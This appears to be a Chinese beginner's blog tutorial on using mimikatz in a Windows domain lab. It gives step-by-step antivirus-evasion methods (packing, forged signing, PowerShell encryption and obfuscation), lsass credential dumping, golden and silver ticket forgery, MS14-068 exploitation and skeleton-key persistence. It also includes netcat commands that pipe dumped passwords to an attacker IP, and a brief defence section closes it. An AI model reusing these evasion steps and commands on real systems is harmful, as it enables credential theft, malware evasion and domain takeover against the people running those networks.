萌新如何玩轉mimikatz
0x01前言
你好哇!暑假快到了,身邊好多師傅都開啟了"卷王"模式,而我也在南城師傅的幫助下開始了內網這個新征程;mimikatz就是我遇見的一個坎(也是大家內網學習繞不過的坎,基礎中的基礎),我希望記錄下這個過程,盡可能的幫助大家更快的掌握mimikatz的用法和技巧。最后,再次謝謝南城師傅對本文的指導與幫助!!
什么是mimikatz?
答:mimikatz是法國安全研究員Benjamin Delpy在GitHub開源的內網工具(GitHub下載地址)可用來做一些關于Win內網安全的滲透實驗;它在內網滲透中它可以從lsass.exe進程中提取明文密碼、哈希值、PIN碼和Kerberos票據,因此很多人稱之為密碼抓取神器;與此同時它還可以執行傳遞哈希值、傳遞票據、建立票據、偽造域管理憑證令牌等諸多功能等
還有什么和mimikatz相似的工具?
答:提取目標主機的Hash值的工具有不少,eg:GetHash、gsecdump、PwDump、Ntdsutil....但是mimikatz依然是大多數人的選擇
補充:我們盡量對mimikatz進行免殺處理,因為該工具危害過大大多數反病毒公司會對該工具進行攔截;所以我們還要在利用完工具后進行刪除,或者把lsass.exe進行的程序打包下載到攻擊端,使用Hash破解工具進行破解
和mimikatz搭配的工具?
答:經常搭配mimikatz的工具有很多;eg:CS、MSF、oclHashcat、lC5、Ophcrak、John the Ripper....其中大部分是Hash破解工具(其中MSF是自帶mimikatz的)
0x02 環境與目標
靶場環境:域
靶場資源:通過打點獲得的一臺域內主機權限 (普通用戶)
靶場系統:Win7 x64旗艦版(虛擬機);Win sever 19域控(虛擬機)

靶場目標:
1、在普通用戶權限下查看提取的Hash 2、獲得域控權限 3、通過mimikatz導出該文件的Hash 4、維持域控權限
0x03 免殺
經過研究發現Mimikatz的提取密碼流程如下圖所示:
1.獲取登錄會話信息(包含了用戶密碼的加密后密文)
2.提取加密密鑰的值
3.調用Windows中的BCryptDecrypt函數解密
由于該過程中會調用一些敏感操作,從而產生了一些特征碼;導致殺毒軟件和def對提取相應的特征從而采用靜態掃描的方式對mimiikatz進行查殺,為了避免暴露我們應當對其進行面殺處理;關于免殺這一塊,筆者還是處于"腳本小子"的程度;但是通過查閱一些師傅的文章后,也總結出來了一些適合筆者使用的方法與手段;如下所示:
方案一:加殼+簽名(靜態免殺的好搭檔)
首先我們對mimikatz進行一個.ICO圖片替換;具體方法是下載ResHacker后通過它打開mimikatz(只能是32位的,至于64位可能是環境問題無法打開)后在Icon Group中的100里面打開;然后點擊操作中的替換圖標,最后修改名字就行了。

接下來我們對該.exe文件進行加殼與簽名處理即可(加殼工具:MoleBox;簽名腳本:地址)


通過加殼可以大幅度減小文件大小,在通過文件簽名進行認證偽造,就得到一款好用的免殺木馬(個人建議換一些不常用的加殼軟件,因為據說國內某軟件看見加殼就殺)可以看見效果不錯!

方案二:利用腳本加密
我們可以在GitHub上找到大量的加密腳本,這里我們選用大家都熟悉的Powersploit工具來對我們的mimikatz來進行加密(當然,因為腳本越出名被殺的風險越大,所以這個方法的效果自然是"慘目忍睹")Powersploit為我們提供了大量用來加密處理的腳本,而Out-EncryptedScript這個萬能的加密腳本就是其中之一,它會將解密的內容加載到內存非常方便。
這次免殺的方法就非常簡單了,原理是:對Invoke-Mimikatz再做一次Out-EncryptedScript加密(這里有人可能會問為啥是Invoke-Mimikatz,眾所周知mimikatz被殺的死死的,所以大家都會開發一定的免殺方法,而"腳本小子"就可以站在巨人的的肩膀上進行免殺操作,大大方便了免殺的構造,同時也大幅度提升了免殺的成功率);但是這個腳本長時間沒有更新,所以不建議大家使用,這里僅僅是一個思路,供大家參考。
直接下載Powersploit到桌面,輸入以下命令進行再次加密處理
Out-EncryptedScript .\Invoke-Mimikatz.ps1 password salty

其實如果成功的話,接著將加密生成的.ps1腳本放在目標機上,執行命令就可以了
[String] $cmd = Get-Content .\evil.ps1 Invoke-Expression $cmd $decrypted = de password salt Invoke-Expression $decrypted Invoke-Mimikatz
方案三:利用powershell執行"混淆"的代碼
這個方法其實參考了方案二的一些步驟;具體實現是將mimiktz.exe轉化為字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1腳本中直接執行
具體是通過一段.psl代碼(ToString.ps1:地址)保存為ToString.ps1后通過powershell執行命令即可
powershell import-module .\ToString.ps1 .\ToString .\mimikatz.exe >>1.txt

接著,我們就可以對1.txt文本進行一個加密混淆,在通過模板生成加密的powershell腳本進行命令執行;我們可以看一下效果是挺不錯的!

0x04 運用流程
1、在普通用戶權限下查看提取的Hash
#獲取權限 privilege::debug #抓取密碼 sekurlsa::logonpasswords

友情提示:現在大多數計算機是64位的,所以應當使用X64文件夾里面的mimikatz;如果發生報錯可能是因為你沒有管理員權限導致的,所以可以嘗試使用管理員權限運行它。(mimiikatz只能抓到上次關機后登錄過的賬號密碼)
2、通過黃金票據偽造獲得域控權限
我們通過如下命令導出lsadump文件;獲得攻擊者需要目標域的sid和tgt的Hahs值
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt


在驗證之前我們要做好相應的準備工作;檢查是否刪除了所有的票據,能否打開域控的C盤
#刪除所有的票據 klist purge #查看域控的C盤 dir \WIN-9JJK4CNGD41.cyh.com\c$

然后更據獲取的Hash值,偽造出黃金票據,從而使用下圖命令進行攻擊;發現攻擊成功!
mimikatz.exe "kerberos::golden /user:test /domain:whoami查看的域名.com /sid:導出文本中Domain的值 /krbtgt:導出的Hash值 /ptt" exit

3、通過mimikatz導出該文件的Hash
(1)通過mimikatz獲取內存口令 privilege::debug sekurlsa::logonpasswords (2)通過mimikatz得到內存文件獲取口令 sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full (3)通過powershell遠程命令mimikatz獲取內存口令(參考方案二) (4)通過控制lsass.exe找到ASM文件并導出為.dmp文件,傳入攻擊端利用mimikatz進行口令讀取
4、通過白銀票據維持域控權限
首先要偽造白銀票據需要獲取SID域控的Hash值與DC的IP地址;我們可以通過mimikatz的命令來獲取這些東西(如下圖所示)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 1.txt
接著開始偽造我們的白銀票據,達到去訪問指定某一個服務的目的
mimikatz.exe "kerberos::golden /user:用戶名 /domain:目標的域名 /sid:導出文本中Domain的值 /target:域的地址 /service:需要訪問的服務 /rc4:Hash值 /ptt" exit
關于白銀票據我就不過多演示了,如果還有朋友不清楚黃金白銀票據原理的,可以移步到我的《淺談windows認證過程與攻擊手段(上)》查看,偽造票據就告一段落,接下來看任意登陸
5、通過MS14-068漏洞登錄域環境
通過黃金和白銀票據的學習,我發現它們都是需要獲取域的Hash;那我們能不能不通過獲取Hash達到一樣的目的呢?有,它就是大名鼎鼎的SM14-068漏洞,它僅僅需要普通域用戶的賬號和密碼即可達到相同的目標
首先我們使用klist purge命令清除票據;后通過下列命令獲取偽造的證書
ms14-068.exe -u 普通域用戶名 -p 普通域用戶的密碼 -s 用戶的SID -d 域的地址
然后我們通過mimikatz導入證書,達到獲取域權限的目的
mimikatz.exe "kerberos::ptc 目標域主機域名" exit
友情提示:SM14-068只有在沒有打補丁的情況下才可以使用!
6、通過mimikatz達成域控權限維持
#通過鑰匙達到任意用戶登陸域控的目的 privilege::debug misc::skeleton
首先通過上述命令獲得skeleton的值,接著mimikatz通過skeleton的值構造鑰匙獲得權限
net use \\獲得的misc的值 mimikatz /user:test
0X05進階技巧
1.通過Mimikatz輸出
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2.通過Mimikatz輸出txt文件
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> 名稱.txt
3.將輸出遠程傳輸到目標機器中(nc代表netcat;即遠程執行命令)
nc -lvp 端口號 nc.exe -vv 目標IP 端口號 -e mimikatz.exe
4.通過Victim執行:
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 攻擊者IP 攻擊者端口
0X06如何防御
禁用權限
通過網絡上的資料查找我們發現禁用WDigest、禁用LSASS、清除憑據緩存、開啟白名單等方法
WDigest:它的作用是與超文本傳輸協議(HTTP)和簡單的身份驗證安全層(SASL)一起交換使用(WDigest與NTLM協議類似,也是挑戰認證協議)
LSASS:lsass.exe是一個系統進程,用于微軟Windows系統的安全機制。它用于本地安全和登陸策略
憑據緩存:由文檔可知在默認情況下Windows會緩存最近10個密碼的哈希值
利用工具查找
通常可以使用小紅傘或者360等殺毒工具,進行定期的軟件查殺即可(但發現概率較小)

修改本地策略
我們通過提權命令中的debug了解了;用戶將調試器附加到任何進程(內核)中需要那些權限;通常在默認情況下,該權限為本地管理員Administrator所有(具體情況如下圖所示)

又因為該權限是系統進程,本地管理員日常工作不需要使用此權限調式程序,所以可以移除本地管理員的權限,使得mimikatz無法使用(如下圖所示:);這個方法最為簡單方便!

0X07小結
本次的技術分享就到此為止了,感謝大家的閱讀希望對大家mimikatz的學習有所幫助;因為篇幅所限還有部分,無法和大家深入探討,不過我會補充的!筆者還處于小白階段,難免有疏漏,歡迎大家批評指正!